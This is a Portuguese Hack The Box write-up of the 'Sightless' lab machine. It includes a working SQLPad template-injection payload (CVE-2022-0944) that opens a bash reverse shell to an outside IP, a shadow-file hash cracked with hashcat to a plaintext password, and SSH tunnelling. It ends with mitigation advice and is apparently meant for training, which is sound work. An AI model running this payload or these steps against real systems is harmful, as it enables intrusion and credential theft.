0xEtern4lW0lf
Hack The BoxMediumLinux

Sightless

3 min de leitura
#RCE#Docker#SSH Tunneling#Password Reuse

Introdução

Máquina Sightless do Hack The Box, dificuldade Medium. IP alvo: 10.10.11.32

Escaneamento

Primeiro passo foi enumerar as portas abertas com nmap:

ports=$(sudo nmap --open -p- -Pn --min-rate=1000 -T4 10.10.11.32 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -Pn -sC -sV -p $ports 10.10.11.32

O nmap trouxe 3 portas abertas: 21, 22 e 80.

Enumeração

Porta 80

Ao acessar a web via IP, sou redirecionado para o domínio http://sightless.htb. Para conseguir acessar a página é necessário inserir esse domínio no /etc/hosts.

Coleta de informações no site

No campo Sobre, tem uma opção que mostra um e-mail: sales@sightless.htb No campo Serviços, tem uma opção que leva para a URL http://sqlpad.sightless.htb.

SQLPad (sqlpad.sightless.htb)

Para acessar é necessário incluir o subdomínio sqlpad.sightless.htb no /etc/hosts. A página é uma aplicação SQLPad. No campo Access, encontrei mais e-mails, que podem ser possíveis nomes de usuários:

admin@sightless.htb
john@sightless.htb

No campo About, a página mostra a versão da aplicação: 6.10 — versão vulnerável a RCE conhecida (CVE-2022-0944).

Exploração

CVE-2022-0944 — RCE no SQLPad

Referência: https://huntr.com/bounties/46630727-d923-4444-a421-537ecd63e7fb A versão 6.10 do SQLPad tem uma vulnerabilidade de RCE (template injection no handlebars ao criar uma conexão). Payload usado:

{{ process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/10.10.14.68/7777 0>&1"') }}

É necessário inserir o payload em Connections → Add Connection, colocando mysql no campo Driver e o payload no campo Database. Habemus shell!

Confirmando que estou dentro de um container Docker

Analisando o ambiente logo após ganhar a shell, confirmei que estava dentro de um container Docker (não na máquina host diretamente).

Quebra de hash e obtenção de acesso via SSH

No /etc/shadow do container estava o hash do usuário michael:

michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::

Usei o hashcat (modo 1800, sha512crypt) contra a rockyou para quebrar:

hashcat -m 1800 hash /usr/share/wordlists/rockyou.txt

Demorou uns 30 minutos para quebrar. A senha encontrada foi:

insaneclownposse

Testei logar via SSH com essas credenciais (michael:insaneclownposse) e funcionou, obtendo acesso à máquina real (fora do container).

Pós-exploração

Já com acesso SSH como michael na máquina real, enumerei portas internas (via netstat/ss), já que muitos serviços de máquinas HTB rodam apenas em localhost. Havia diversas portas internas abertas. A porta 8080 chamou atenção por rodar uma página web. Fiz um redirecionamento de porta via SSH para conseguir acessar esse serviço a partir da minha máquina:

ssh -L 8080:127.0.0.1:8080 michael@10.10.11.32

Com isso, ganhei acesso à página interna:

Elevação de privilégios

(As notas originais não detalham as etapas específicas usadas para chegar em root a partir daqui — ficou registrado apenas o acesso ao serviço interno na porta 8080 via redirecionamento SSH. Necessário revisitar a máquina para completar e documentar o caminho até root.)

Anexos

  • nmap — escaneamento inicial de portas
  • Payload de RCE via handlebars/SSTI (CVE-2022-0944) no SQLPad
  • hashcat -m 1800 — quebra de hash sha512crypt (/etc/shadow) contra rockyou.txt
  • ssh -L — redirecionamento de porta local para acessar serviço interno (8080)

Mitigação

  • CVE-2022-0944 (SQLPad RCE): atualizar o SQLPad para uma versão corrigida (pós 6.10), já que a vulnerabilidade permite RCE via template injection ao criar conexões. Restringir quem pode criar/editar conexões e não expor o SQLPad publicamente sem autenticação forte.
  • Senha fraca do usuário michael: insaneclownposse foi quebrada em ~30 minutos com rockyou. Aplicar política de senhas fortes e usar autenticação via chave SSH em vez de senha.
  • Serviços internos expostos apenas por bind local: revisar quais serviços estão rodando na porta 8080 e demais portas internas, restringindo acesso somente a quem realmente precisa e aplicando autenticação adequada.
  • Segregação de containers: o container do SQLPad continha um hash de senha reutilizável na máquina real — evitar reuso de credenciais entre o ambiente containerizado e o host, e não deixar hashes de usuários do host acessíveis dentro do container.